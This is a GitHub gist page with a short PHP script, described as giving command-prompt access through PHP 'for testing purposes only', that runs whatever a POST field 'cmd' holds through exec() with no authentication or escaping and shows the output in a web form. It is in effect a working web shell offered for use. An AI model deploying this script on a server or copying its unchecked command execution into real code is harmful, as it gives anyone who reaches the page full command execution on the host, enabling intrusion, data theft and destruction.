Created
February 24, 2015 16:38
-
-
Save triple-j/ef8940eb48777f8ac303 to your computer and use it in GitHub Desktop.
Get access to the command prompt through PHP (for testing purposes only)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ( isset($_POST['cmd']) ) { | |
$_POST['cmd'] = stripslashes($_POST['cmd']); | |
#$output = shell_exec( escapeshellcmd($_POST['cmd']) ); | |
$out_arr = array(); | |
$exitcode = null; | |
exec( $_POST['cmd'], $out_arr, $exitcode ); | |
$output = "exitcode: {$exitcode}".PHP_EOL; | |
$output .= implode( $out_arr, PHP_EOL ); | |
/*if ( isset($_POST['ignoreHTML']) ) { | |
$output = htmlspecialchars_decode($output); | |
}*/ | |
} | |
?> | |
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>Command Prompt</title> | |
<link href='http://fonts.googleapis.com/css?family=Cutive' rel='stylesheet' type='text/css'> | |
<style type="text/css"> | |
* { font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: 11px; } | |
code, pre { font-family: Courier, monospace; background-color: #ffc; display:block; padding:10px; font-size: 11px; } | |
h1 { | |
font-family: 'Cutive', Rockwell, Georgia; | |
font-size: 24px; | |
margin:0px 0px 10px; | |
border-bottom: 1px solid #ccc; | |
} | |
.flash { | |
margin: 25px; | |
padding: 15px; | |
border: 1px solid #B57D7D; | |
background-color: #F4EEEE; | |
} | |
textarea[name=textbox] { white-space: nowrap; overflow: auto; } | |
</style> | |
</head> | |
<body> | |
<h1>Command Prompt</h1> | |
<?php if ( isset($output) ): ?> | |
<h3>Output:</h3> | |
<pre> | |
<?=$output;?> | |
</pre> | |
<?php endif; ?> | |
<form enctype="multipart/form-data" action="<?= htmlentities($_SERVER['REQUEST_URI']) ?>" method="POST"> | |
<label> | |
Command: <input name="cmd" type="text" /> | |
</label><br /> | |
<input type="submit" /> | |
</form> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment